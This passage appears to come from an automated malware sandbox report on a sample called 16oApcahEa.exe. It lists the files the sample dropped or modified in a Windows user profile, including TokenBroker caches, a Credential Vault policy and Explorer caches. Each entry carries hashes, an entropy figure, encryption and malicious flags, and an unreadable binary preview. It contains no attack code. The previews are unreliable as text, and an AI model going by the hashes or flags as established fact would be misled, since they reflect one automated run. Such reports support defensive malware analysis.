Preview:	{.".T...KeO\..#..6.:..f<C.vn...:....s....,.e...2.....z.....3....9rG...m..%6..O......6..-GH..f.....E>......l&..^d..?......{/,c..F&IQ.J.5..<...dbr.....[...a.....ne..@....._G6)}._.&i......%.........Op..\|....].4.:1.A.jL....,..^7(n;...G7.o.H.7..Z..6`}nU...&.&.g\\|.Z,...O..1_.9.Y..'.D.z.K...}p{...5uL..d...{B9...} ...DH..K(...F.C...?82M~.Q...?............fW...hY?.Z..b.Mf..d.?..:.9..]T......8S.....&..Or....n..,..6.~.^V..e..k.W...\|..]...?..m...O^..<.....J@a...+x.>.\...:..@E>.....o.......;2 >..+A;h!..v.c&.3..t...F7..'..J,.s..2....1..C..C...+ z..-.Y..n`9w.....h.H....2...y.....e.O.M...9[.v.E-..G..L.)nV....]M..=..o6t;JB.;....%..(....%...Pi.L..{...n....6!`.....\.t...M..g<.E..m..{....j$.h4.....T.`&I.j..9.\|..`..R....ezT.^..Y_..l.Zv%..M)z.GE..z.=.Q.X...8...Hy-.o.F...z...j.l...x..r..aq....1>8{>.b7.~"......8.i.....'d~J...r&>...y.{oc._\|?u....V...G.i..k.......T}EZ2(r...Nv.H.#...$~..a...f.h:.........e.am@v......3<eI......X.....M3*...K!$.3._.....P.v....R.C@

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.928732332819234
Encrypted:	false
SSDEEP:	48:pkACLMZ1+Tt8fcs6o6w7wdRQSjazf/GYYkiSJZlZYpTkBlUkXF+wduMyE+ZXJD:pkAnITtbwwdRQ26f/GYYkBJZrYpT5kXy
MD5:	D266ED11FA0159D224EAD2A3708F8478
SHA1:	3EDCC68EDF9F09DAD68FF77EEA425FE9AE5C320A
SHA-256:	2FCBE869FB6CA995D5933FFC8C5B0D82E6755CDD975C7FF4E525DAB1F9D2C9CC
SHA-512:	59CD070B513A1BF65975A91DFC62020079C18EACA1690865000B7A643D1248BAF9472156B62889A3BAD8FBBAE3699F4C9FA7E208E32A9A86E3E5677ADBBBD4EE
Malicious:	false
Preview:	{.".T...\..... vr.j.....`.G..y...G.U....$.C....d....^...+[..y.Ly.t.x.)^L....ZOHh....[..kYN.'7.._...Y'.EW..6.<W.,..,;..E?s...O...ao...".bm;=;..- .KT.../.V....l\|%......K....g.' 6..1..@......c..8h.L..4.D+.......P!........g..;S0H....+.P$....S...'(...dl8J:z%...^..q.R.C..G..h.@.`......n.0.:.2.7-y.S)..>...l.4.w.j(d........1v..'....g8..&.C....RE.....n..g...S.4..d.8..5...k..La...m.i.!l.....K...C.; f...D."9%K...;}l.k..`y..&.5.a..&/............M.w).%....q.30........OE....>.b..5.....3?Q..C.$..kF0$2..._..}.4.....p/..S?...2SZ.U6.={...1..>.`......1..............j..di....x.m.~..eoh=..z.J...qS..8....W.".@.v.%.......M[.$..0.1.......<.Uo_..."...yJ`...h.k....L.......4t4.....w.".t~.P..@......0....P.@..Yc.m..i...m_}.~$....i._.........!..I.=.}..Q..k..Zc!..G..7..u1.<...a}N..@0;_..u.......lC...l....Z.)%:BT.j.58..D@.r.%....k.5.9.SV... ....^:g.O^.s..x..q.k...r>=....^...K...^{.........%.o..Tf...ob.....].^....@.Q.......Y.bD%..q..nM.J.{..d.....9.}.bR.+]au...@

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.930017440507886
Encrypted:	false
SSDEEP:	48:vTB5SYTZYJ/ElOflryCB4hAqcp0mm4c/uvoi4MHqMtYohqXk1LfMJD:LSEYZEodrOG0mlc/Coi3KKYq7d2
MD5:	48600FD98215BD8414236F6CCB2E7BA4
SHA1:	B01BFA4F671F60D15982CB1723B0A1DA0963D5A1
SHA-256:	765F84E6567F087D2A3417BE1166D170F9C95D0CF931ED89148C795782EB335F
SHA-512:	A7D9F793958163832C975C46F154726B775BB4AC5E20479D909AE277FED0B0F602C2388AD76999F2521A3584083D81F04D9E43D9D222B0A3564FF2F7885BCA9F
Malicious:	false
Preview:	{.".T.@%..PT)4.l.o%..P.<c.. .2..g..A...t.....1.#..2....[+.K.Y....Q...../-..y.v.L,.O..E..].l+/M..a.X8v..V..ZY[$G..e.]..P.<vt..D.D.G53..'q!.<.....Qsl.u.B....\...mO..q..c.0z\|....Tn.Y....%...S..=;^...$.9..\|. 0.k.{. .hL^/D.....o@.......S...I.b..d%.^!- ..\|......Q........`~...8%]%"..-.p..!.sS...K.o...;..Hk....+..d#.5Dk...4.g....6g...o.....kw..V...[Tc...1=.4...8T...G~g...U.~a..O..q....@G...m..L..0..j......"....u...a..`......}..a._%5..?K..z.g...l>.Y.O..-T0..kQ.=.M,.y.....2<B..V.$....-w.m..v.!.w.Q.,}.A....-.%....l...?3O\|..m.<.(...?........p.N....6.!v......dB.W=.DR/....W1.s..@..P.~.z.S-....+.9Q.......tg...V..@b_.:...z. K..O@r...}....6..:...n}$.}3d7..L.h@...."...<#..b2...'..kYg#.M.&..7.....1.p.'9..x..5..:...Ji ....OR..%.R.]7r.VK..o.......5$'.......$;.`._..+...IZ..$..yrwvRD}2#.....16h{B..X.6.....b..z...Y..F....7.y.4\|w[....#.k.-...b..&J......PG..M!.^i...9WdW.d...x<;..[.+;C.....%,.....)$.,I..'..s.......i.d.X.....]...T.....j.!....k..X..m..MX.0...

C:\Users\user\AppData\Local\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.704442568292003
Encrypted:	false
SSDEEP:	24:FJYuUx77nomjOpTSMbAkejyZFN2VRZS9pbD:ApxbHOpT8fyZD21UJD
MD5:	510A5EC068314CB8654C8A78C47E8ABE
SHA1:	0C63ED2D746B73F2EABCD0148C6778BB48909782
SHA-256:	507988A393774FB9BFCFC1BB0C429A067D1903446BA1E48E4E2E5EE9A94C4002
SHA-512:	B414025950B0838210E8B886B9AED6199BBD60E66528571CCC8F68FDD69FE9CDAE2CFB4875E417349E16E04999F21BF3919EF1A8FA2FC88B3CA063739AC92E5B
Malicious:	false
Preview:	....Bdf.R.A..I.\|.,.....z.YS..n..n..G.V]rM..2.....%..J....g..jlW).....09Hh.i...NG? ...R.nY....2..^....g...a..LI..i.`..Q/@n5f.t.}M...P.'..p.l..M...@F.....}t`..ZG....z...btV....._<..F.B....1..\|...~.qx/.\..pEEr._7...\|d.;..i.d`>A........u(3..w...TZO..6..y~...9......g..hFQ$.0.7q.'S...z5.......V.bD..EB....N.....p.k.W;....w....3...... D:..E.0.u ...3t>.;\..O&==6..68..&.L'%.k.Jc4.d}...k..XEa...8.m.g.....N....9h....CxU...n+.....0........{.P.E..nD.P..L.vg..&..Z..<e..Q...Wa.{.:d.)Q.9..(.A-..8l.,.(...i...A5.2...]......7..0./.....-....U..1!+.y.'Xb.....C...@..Y .......b54.H.l.)..)4..1...8z.@O...O..?.P.p.!.mf.d..+.....A<..k.......M.GL....A.ViF...:..A.x.....*HGl..a.D....SxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\2057\StructuredQuerySchema.bin

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.332574374709394
Encrypted:	false
SSDEEP:	6144:hMEsmH4ZNwhBWoAs90n32TiIxXbfm+vyJfbnQkK96B88yKv4bWTmTvEiLSZ:bsmYZKhdA0032mmbfm+6dF4/e
MD5:	111E5BD344540E98E29CB4BD94E46517
SHA1:	6AE8AFD022910E8E9D5D2B1A83A442C58AAFA815
SHA-256:	2A88A1A9540A5B0E2AC9BFB413699EBB1CBC3F35C171273A11A8EAAE2D9B1F7D
SHA-512:	EEF742536373E300D9124CBF62AF7DFC9D312AD2CB76DF545E690AECD9B4762E38A19DE05242BCEDA879ABA8A2F182EAC9DC8CBCEBD8400988D4B7A7AAFC9643
Malicious:	false
Preview:	...P......./....N....x....b.;S!=..?.z`...M....".....5......J.aX\I.F\\|#..{j..>R..wZ}o..3..7.}.C&'..).......z.<..........P.w...F...d......#.@G.....@&....v....r..ba....'....x((.$-;.YG.$.l..gt.8...2D..y1..8..MO.........3...5xi6.]A....hN..k#4u....4...L.....X..eK..&y'...rjt.........l_....l./z'.V.T.oOJ7.M..&\|/....H.*./..9..\...... ,.....8@.@.TX%1..2.\|R.`b1L.5..ga....v.....q..$....B.w..lcL....5s..N$..b.5\..-9R...p.s/@$.m....w!..q....-..>=.T0..._.u.m.:.....R.T^..:...I2.^Mx...P...(.[6m...03=..R$.-....L.E..i.....3..Lk....+..=.&..(...Ti.........Y$ ......bx.1.J..0..N.; &....(.<...t....1.c...=F.........e..!..W....b._...s..`..J...n....l...........)......Y9.....bg..B..C`.h.8@..C.)x.....U.md..g...q[....jC.#..B.....L..'I.9e3.?...D...d.`.u..[.x..q..(.O\.$.Z......&1.a....k.'..[.r.Rd.;.VkF..".....D..77....jy......F.-...O...X4.^..,V`?....j..#O.]>.6.P..gp.o..P.....N.#l..E....g].{m.T{...b....~..@D....=v,.0..Ya.l_......W...-.\.....$).b.>.L=.G....f..n.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.1.db

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.986474334064205
Encrypted:	false
SSDEEP:	384:QGTiz6TM7IXa8bz3MzvYx4YDd2Gy+Oq+BLstUp6n21RMSB5F6AKwzF:d2PIaoz3MEvdRWstUZzzTFowZ
MD5:	C63AF07B27587EBA04325CC0F99F43CD
SHA1:	9A827B041CFA0EA63732AA0B87520AE4B306F576
SHA-256:	217E0C355919898ABD15471CFF20F6E1C561654EF05AC8101E2CB6A60419D367
SHA-512:	666CCB236427DB68AB36BCC94697EBE9DED5CC79609C54C95AAB4FB26DFCFF0EC3C425B711C5E71C3EB1CA5D257F5A1A855690FBDA4C4B98804DA04D642A8576
Malicious:	false
Preview:	.... ])?...^b.-.:.7..Q.....FkEJ7....&P<..t.&...)......6..5..MI...........aJ.d....bX'o.o..J......`..Q..m;.......I...AC..~^`G...VRp..~\.^....J..M.<U.T.....oK3!.b.1.(M..+.z...-..O.?g....A......H...Xf......[.x..lc..O.J.Rv...J}......y1.<...y..)$.i.....C_..RW.T8....s..M(X6.U..~P#.+..........#.....u..ahD.Z...nf.'.<....Q;.8.3..;B........?...U.M..u..:J..b.&..Jd^O..\|..a#u..C.F.7.O...rv.p..i...oZRp~.-.&....6.L..y:] l...;3.~..\.......H...dXG"f........T..9Np..H.......-.'..8.k.`.... .f.;S2..k.fI.....q.`C...#V....3...U.@..m...1C.....Mhk......-;?-..n...y...C.<.F.R...I..U....$0Y.w...c.....-....Ho..?....[5r...MB.nr.13.Nu.....V....A..~...\T...hY.!{W..=.....=.U...$\......F...G...'.........O.....R....%0.N...... i......Afm...@.]..V...w^....V................,K....a.;.._..%.#..".......R[X.`U^`...+.k.B.'ie.m.\|..,..K-....es....S.M.@.&w*.j.k.%.....4.sv......^fe....$..V.DL..P...x..\|.:.>#..m..6a.Q..w..A.rp9~,og2.K.......f.D..W...v.<@.C.J.fV"Y..[.x.<..{!

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\cversions.3.db

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989052117375137
Encrypted:	false
SSDEEP:	384:JuHpHtQjpEhym3ElXfUvySzg0GVoVDVrFgrJg9eAoHGbjBbJrbaQU:JuYE73Elg1zImDPiP1GTap
MD5:	CA2E174467ACD7766823651D1CBC0527
SHA1:	2B127353244D703EAA993F270A25DA6D98886C51
SHA-256:	D32320398C557BB6BF5F183CDA994B1E102B41065C3277326F64A104C90606F5
SHA-512:	CA8E533813B5053E15341F939FE3FC416271E02ACFE0A7EDB018A5BD762F41BC329302F8F16DACE6F46845A89F2F76BEB7F5DF2ED0455D368A28FA1956581ECB
Malicious:	false
Preview:	....`e'.._.J.Y..b...&.2.[.'.+.....@m=.p.{.AZ.E4....q..Vd..`...>1.......$.6.").Do....:.`.@.n.......8P7....gu..s.g.\C.8..>/.....T..\|.x..../g.. .z.......leM...sW&>.E.yuqN..\..>.$/r........oI.....F{IY.@.&..Z..I-[...CB@N.s.m.\|0D..F.S..Q.l..>.z%&/.u@.j .n..t..7@Uu.....G.......9.....[W...C.#WqV.q..._ld.p-...).P..K.`.H.....2.g.!....I.c..Dq...5.@X-.\|....sKJ.?...Zap3;(.[+TD.E.X\|,.3.p8].._+.fT3e7#....-V..o.~...(A.G.g@.K.g."+.#c\b?.D.\.p.PE.I..0./7s..........."jKj.K.>=...D......x..X.J....Y........&.>...62NY.-....G...(..!...Z.$.._....F..n....".-.....E7].xE..-{j<...>O/..Vgg.E.h..l......g8....&.B.(......>.`.5..rW.....h;\|....=.2.$.O.~a......-V<.F..@...oF.#.M..E.0.xyr..N..."b9..7....k..A!....r.xH.c>..\|.....\|;..u.#....dI-[BJ T4....ge1..$x...U...g.xqT...._z..Y.......P...~A...%....O.M...........2.{.....8K....GM..........Du...M?.._.F....].8X..&..............7...-73f.n.B...q..N...$.2..&.Bn.o<..MS6`w.Y-+.nh.X#.$....p.r.Hw.[.../fi..m.....3..q`......9..2=..Xk.$..W..{.Q(

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{2135BB99-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.331909356570822
Encrypted:	false
SSDEEP:	6144:Nnb84QdHTUOrC3tFfTb2mfqiBkmm+vyJfbnQkK96B88yKv4bWTmTvEiLSj:lbj2TVoRWmfbbm+6dF4/8
MD5:	0C5D0968AA673C873EE9A836990B41CF
SHA1:	95329B2A499BB1084B537B813E712954F4712AAA
SHA-256:	E85699B8D48A700FA12AD13F9F07363D7CE0799C5333958ED73153A86B936FB6
SHA-512:	39FDD8A2FD4E2B3DC920A792A58F3A4AE4F5740A21DCA7385D6328A0F54CFEE45047B3F5B9A8AB8512DB42936B11FC437D92CCA5C4617F54EB3DACDA28AA4FDE
Malicious:	false
Preview:	.w.. n..O..5..O~&>.8.p....f...5.....].k%X$.....B.mI.'..o......+r..D........vy=...1.{......5@.p.l..M.....O.........}M.5.g..@.1.2L..@.3..3.0t..V........[y....t.\.W.n..Mh.............H.W.[._...0..O.~..v.i....d2..~..YyH...P...?VW.q.f.Y4..@S.c.e......Y..@.#./.\ #..K..ot0......D2.o..._...."..9.A.Gp...%..n..._..#.Q.h..a.XH.="...}.G.s.........).....,..fz.l......r,lQy.mR.J..w..jk..;9.X..fp.....w...F.+..Tw-..9lb"e.<.QS....?.Ik...J..qzy..."!%..>.dY~u...4lW...j.....1@.!.N...w.Ggv...TJ..%.....a0.M.^K...z.P.%.Sk.}..I...:...u.....QH...........gk..g{ ...d....C..I......@.c\..O._,..r...}..7G...F.5A.Q=.nA:..(..A8.P.Q$.......L...4~.....t....n!.%....7..d.......CA.....{..x.uZ......Nr8...UX..?.fF..\.F1r.E..+....Z.q.oh. F.....).R.A...p0...2.o......J.c....ND5f......>.I..f.q..."k...%....{. ..M...........s..S.3.vd.Q.>......Y\'..@.Y..u..^@d.L....-.....px..h..X.@...\. ..%Z..0....o.$.i.l..........a....z}...-4.l.H...q.e~...).^.3...@.Z.M+....../.<o..{......2...\|.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000012.db

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	104062
Entropy (8bit):	7.998168214814128
Encrypted:	true
SSDEEP:	3072:3Nhr1W8hX0z762tHpQKM0SyiaGyBhDiGugiWr61mE:3NV1WbmHDaGyDDRTrjE
MD5:	70319DDE29F596D9A4A9F48AD57B4C32
SHA1:	1C581372BDB39D1C5B86D6944FC6382624CDE197
SHA-256:	A5B97C466D78303F400E01441A39B56148835EFF69EFDCDC32F9BC066DBC9593
SHA-512:	4EB3354FA63E21E2ED0A62ADA5C143D33A3E8BEDE59E689CEB2020A3B9AF4DBAB3FE087911673534DAEE7F70D366048ED63B3890B41B43D46282184F8C3917A9
Malicious:	true
Preview:	....h..X.B.......p.I...AG.........]i..x......fT...j...V.&.K.B.....h....I.._....;...ok...9..h.,..-..f[a..8.....{2@.]..9..xwBU..G..Y.EO....'..O.4<.l....G.w.mR..y.k..oE.s.a;...r:...y[...m.>..xd9^3?D.Q....e.Q]!Z(....."^....BRq..C&..J.L.....sL....v.n..D.Sz.7e..D.-.+......Q..Lt....cd.M.t.F.....I....9.....6E.W:.cI.c.... ...@....sD1~......VM.'..vT34I.<V-.].......f."....a.....;......?.!...ID..`..O..:.Kdn........5..M....0.Y../...V.....%&J...C.Cg.6..T......k..Rx..=..ji....\..$w...2..0.pcQ..v.`.s)2L.r.\.~.l......L.....\|EK&d....S..j.EE...&..L?.<...?..~..C.U)...@.... .S.}..Ja..X.#l..n.A..).s...l.#.....:..U.{.X"..fZ.mj...I.:I.Iv.^.-.....M..c..S..]g.q.%4 -...z..>y..........@$.....SZ&9\+....r.D.tm_.......ByB..:.N..q.a&..e<...?..q.......gY...b...z..#X.$P.O.\|..{N].R.(..?^e..t.....$p....+....qJ./UW)W.5.IM`.wr..........s..342W.p>..d..N..i...S....QkpI......k.d..\.PO ..O.<2%.}.)*7.\|.........#..e.....@.i.o[.Jzj..+.r(.....B..>.6.l.?.x....3Z.N.fe.!eD..w

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x0000000000000013.db

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	102814
Entropy (8bit):	7.9981064472474435
Encrypted:	true
SSDEEP:	3072:V1JweoED3zPB8Qchw5SWbgQjhptaX9kBiH6z2Xcz8igWYymYV+aZ7:PEE3zPKQkQBlOX9kBVQc5F+aZ7
MD5:	8949AB6A6A8AC4342F89C0CDC17846D4
SHA1:	CE4AEE1CE2A1B9E0D7668B885E576C080780409D
SHA-256:	F6D17227F15492AB8826D3729E26D6DCB0284C6379884CA9BE2EB31013E12D74
SHA-512:	282F63B071960EAE42AC7A638643EC612A1436B6C57E0E96DB09B60DE507F1F14DC8CDBDE62AB79ED19416CA3E485A594804B83DBFAE1677A0A6338B4D25BCCD
Malicious:	true
Preview:	....hc...`M."..2.;.Et.s).F...?8..U...%...........#.!w...;.A%......s..M.?'..K..I..T...G....g...z..:.....5?.<9n.,?...{i3s...K..:.]...m(...U.d....6......'.....}..5.mV@.u..&aC..SN.r2..jN... ..A.K..x{D...m<..6l...~.q..15G2lxi.G.....XiGpz.........6<.y@j.d......"...!O.....@.(...o...+w.W.....U\y..q...I..e.B.w..!.....o.....fK..(.-I.......E.f....<..B.!.......o...@.2`K.+.k.K....C.l.wp.....E..\...`.s.....u..Wq.t\.h...N../P.....<x1(.Wp...`:......E..x..\m.z.a.s...6.5Qy.....O.Z{)n..=_K...4..,-..........@..dm<....+....lh.E.(.9.M..0.:=...Z.......m....h.i9..!. ...s.T\.U."..c.uk....Zw..;.O.ox%.?..._.........p.oO...E....P3&.w.\|.V$7......Gyr^.$.'_om......I....._aHE....$.W`.c....02P#.?....5.#.`~..&.+......\|..H?w`....{gb.@H.I.J.19...p.=.yJ..h.v..u.<m.v.Z..-.{.3...Ey..%J..d.=:\...4.g....1.0............2.Mb.J.rM.\`UJ0...+.r.]..brD...J...k ..&...m.....&.~8.:.d...y.M.l.bqe.,JyL!*......m....u.....I.N.~}.Z..R..e_B=x..n.s.>.w.g.<.%.."..l.....85.S...R.4..d,,.r...br.

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000004.db

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	75398
Entropy (8bit):	7.997925177045382
Encrypted:	true
SSDEEP:	1536:LeQacM9CjW4Hv2AVdmflwaDIYjLpsFNcRS6AZ4rOPkNF0SSH5A:lacMcjWRAVdmdwzYjNocRyZ4rOPkoSSW
MD5:	A383A614861BE483F6CE2BB6F71753F1
SHA1:	8C00218DA59898244CFAC41272D161FB8EAFC70D
SHA-256:	CA71A451785DD3BBD500A64C09CB8A183E39737AD99072377C2A68FC6F0FBC52
SHA-512:	063623BCB88D83D415D8FCF115ABD5827F7591EEF9AFE65E7343B8C41E8D1F17AAFDB957AAEAAFDF74A79D4FE182487F60355203F2AC531B094A06022D0C3E3B
Malicious:	true
Preview:	......4.z..F\Z.C^.....%.c..#=,.....7....1.$b.8.?......Fx..E..w../1]_v.6..u....>:..p.~v..1.T?.].s...X.....Wl...8.o...g. ..S...#...hr..Tvc.n.N..._.m.,..P..D..T?75..O..Ros.k....... ...............:Y..&>]..qqs..iLJ...S..H..3...pG.E..E.+.=/..m....0.?.X>.. ]sV....7,....#a.n....X.e`.U....g...PaN..6...=2i....}...6.W.m...2+.k.s.z.....8^.....6<..k...F..u.s/.M..O&.r.....`..\|C.......-+.a...'../.}.._.......<.....)p..J.....C.....>.2._}.....<.hS.F....*9.....+ZY.....l.+...Q>..8....K.XT.\|V..u....c.-.v...H_.#....S...;2F..L.!.t..lr...2...5...%o......9...Da=SNs..P%...;....Z....@CO.y.P..'.....83.{..$.........nl...w...Qqh..cT...<..W.....h..p..\G..}.J_.v......b'.Xp^.i...S..r;)...).\%Z....A#.:.j.Q.....+......:....+D...Q.h..gY....Uvb..`\|-..!.z.YeB5.U.MB.2\|\|j..7.....;@.{....w..K[ck..b..o.....`..{......A.......l..LT;u.}.mpY..3.\|3 %lxx....\|.... ...B.8b8..h+.C...G5..&.........z^.......HW......{..F.o...4....3zPi2.a.e...kk=.X...E.F...e....O......Z.]@...XK.}T.?Wd

C:\Users\user\AppData\Local\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000005.db

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	105318
Entropy (8bit):	7.99834323190939
Encrypted:	true
SSDEEP:	3072:xhutu3XMVERA65cKNPi88+ah4pzbLZ1nTWh2T:xhr3l6zKShWbdUy
MD5:	23898FA90D4E04C15D8DB2B5B9C9693E
SHA1:	95FDBE7072E8FA81ADFBDC5C0CD7E1B74F50637A
SHA-256:	F6BAB88FCD062D8B355879428813ED263E8A7A8CB02CF94CE4E4E26C9E5B8D2E
SHA-512:	CC68AE6AB0BEB952187AE7FAEA66FD65EB369B4343EEC8E6F9D54767674F831DC8CAF1128D40D839C48757E7796C179F7CC5AC49F4093276BBDF1A0622843CD4
Malicious:	true
Preview:	.... I...M.>.u.8.....o".]..+..BSVc...........WW.%...e>.T.TW.H...W..k....+Bo....C..ffY...r.T..{xl.+.b. ...4.M.......[..=W....A/lIX...Q.r...t.F...9 .4......../.B..q ...r&n.@....(V..Y.....,.z.".a.M:4....M....gC.U..X.......{,P...1...i../u..'..(...6\..x-2. ...e.&,7.M.o.....o(K..N..~.+Q.z......t'.-FD9..0..d..5...W....0D.OY..hQ.y..E.T&..J.A...AJD.7...p...)s..,.:...Z...$...f...D.....^..~..8...W....a%oE.(....{..6...q.._/..\|.U..l.2.a.....f..1.T...{f.;..~.,4...W.J.)....l..4ai...a....l.\....k.?s7d92...1b.+.mO7....):....S..V.........+p.B._......\.N...D..<.......,}.:.,.u...j$.......IJ...z\|......7...2..J)IN'y.......,.6^...u.I.#]...Z.... 6.......D....<}-3....nX,Zrt.F].Rh.F.h..e....[^...B.:....uV1......O......r..\|.$-.23.....g.e..u..FIb..H..PU...'g........t$....{....=...h...3..@.SgHR.v.~..c&....h.....s....kF.2G..bFKY..@..I~.'....,...bc.Q 8X..k..J.C_%'....T..jM.....3.....-...&?4.y..].?... ^..f.9Y9.....a....@<6..L.....I.3X).).v.q\|.."...@vQ.N..<.q

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog.etl

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	581966
Entropy (8bit):	5.736226161693321
Encrypted:	false
SSDEEP:	3072:mPGYHn61UgGeRSzDeiEMEMacD+pJcl7CUCqBmYDlmPLEX/prWuFRdvCNh81mwjjR:FYHncEeirf5Cf+lTFFiNa1mYSOb9P
MD5:	FED806575553D79CEF4EC97EC5D40B7C
SHA1:	BE2AE500D153902DA47EB9D70AA36E82A469F371
SHA-256:	2252ED82094A33B0B8FF53DB0759B94C3D04CE66DEC9407C739FC873D954D676
SHA-512:	067C3D21FF8E5116F8412284BCBDE4CE6CC171FA2A80A25676FEA64D54BE03F4A2CEA0A165D2CA400853C2A10A671A08C18A00A673DC35C26FBA573026E9B3FD
Malicious:	false
Preview:	. .....8B....:~.m.....sY....j=..M"..;.!(?:....`0.4.B.......Yk.+0+?.!..C.0 .H..bd..77....L..:+/.[J/.i..4.<.z.k..b.J.E....f.....a....:..8.X @..l..2Fl{.tJk!..\'.....".....@. .....i'u.3.+R.R..zJ ..`.J..#\]l.+..h...Cb.........Y=.F.f".@..+......RX..a\4.i.>...d.\|.d. .......ARuG....q....R.....?or...!o.W....A.:=}j..&..sgww.?....%.d.A.....\|.5.l.K.Pm...'6.>.....H.a.3......'K.,..D..q!JOA....].8.%.....O...........4...e2..b..;.3x.n]f.....{wV.9.[....i..7............l."..../{\LOE..%..3..x.t.......~8..j..[.Z./+.O..U..rNj..t./...C.Z....p...c.@~..0.9...;R..zX.D.o...K\|.........y.(X7@..Z..d..\JS...l......#.....AS..d..W.7.B.).".O...N.s....$....(..$Z......K.6.s.4....H.?.e..u...Q..(....m&p.I..+.]\......p..(1-P.%T{.>qH...l...e..2..i.Sh...`.t...Pd..3..u.4)....0...X'KA0...(<........(1........n.vD ...O...A..1/.p..Z.._"C..o..P.@.!W..f.Oa1..@....7.wl.b..`G..y.;ST.{..U.K.&8.@~zG.../........dnm.g...Q...5#!......P..1s.l.j.........:]..<...z......7.J.....K].B..B3.t .>

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\ExplorerStartupLog_RunOnce.etl

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	24910
Entropy (8bit):	7.993190661405045
Encrypted:	true
SSDEEP:	768:pt3wTLm/Rg+wF1zR1KiXHrzeBfx8RTHCAo2:X34Lme+4zTKiXHHRbro2
MD5:	4BF6AABB3408E1CF7AC568736DD09C53
SHA1:	9C381EFE56E31CB386D7DE69F29E0C511E41AC3C
SHA-256:	BFC4D727225A352414FC0CC6B8BB4AD5FAE93D18DDE37A32968F1C354132E553
SHA-512:	287C04FB106F018BF22ECA138769EEBCBCE492F81FB10DFF20C2CCEB81B9703F88ADEBBA73A1C3CC795D3AB7D3AA118E951ABF5A2A14DCE1C8FFF3B60F262CB8
Malicious:	true
Preview:	. ...5K....G...g..#..u.............>7fk..g.-..%..N..L....y~......!.?@5.9..s.K..?9..Bq...D.W/y..q.....B...lM....8;+.?.].s...`8.eL... .Q..'^e..=..h.X.(.....).V..P.J...9.$'i.#...I.&d.C1bN.0f....3c ..9V..)I..Z....s..i....n..oa....v.....e.b3..TF.6.a+....V..k..+......x.<....f>m...}C..xY..iX.j..=..._w..^%9j.$........jg"...O...'..#...l.%....Vk.x....??.5.?.@P.B...0.~.a...s....#00E-.1r.e8.:HH=./]..;.S.f..................k.R.....M.XT....N.K..;...Q...W....0.!_..F...X.4{?.;yRD.I..i.....8,.MW3.PC>...F..n&C.....k.l7.{..k.!yO...#]...\..Fh...FY]~...v<{.p-+^.z@Ll.,.D1W,......ws..u.K....G7F7.^p.........%.&cIT5a..r`...'S3..2......@.s....+'\..\|r.+.h..&.... ......X.zMju\|..5]..../..Z...#\....W+<{Tq.'\|....{f[WI.Y).-.SX.s8(.B.).t.g..i.."...0..._.. (.w....2...L........z.<6..B.UZ.....&....i.TZ[^...Z..._K.`...f.t.......I..8.;..9..-..A.`....>.hm.......i.iz.}:..{.......2q..[.eEh05R.G......;...Y.\.L.\..Hx.0IC...m.\.:.....O.*'m^...&..[.Y.L-.\|.E.........T.{..o

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\iconcache_1280.db

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.191659204847643
Encrypted:	false
SSDEEP:	6:JBu0FWRHGETxVjqGHw0vj7QsYFcmOaSZlAmxle2BcWTUbxhy7r9/QMS12KdM9Hsw:JBu6WRmETLvj7QIaSZljxleacNxk7JYu
MD5:	55F30A209B5B5BCA81BDD90387214721
SHA1:	53E95857D8134BD459EA147A341121B068F58015
SHA-256:	04F9AA433D53555D43D3DA0708C24B767974DEC4EDD091A1B5EAF6701B96F324
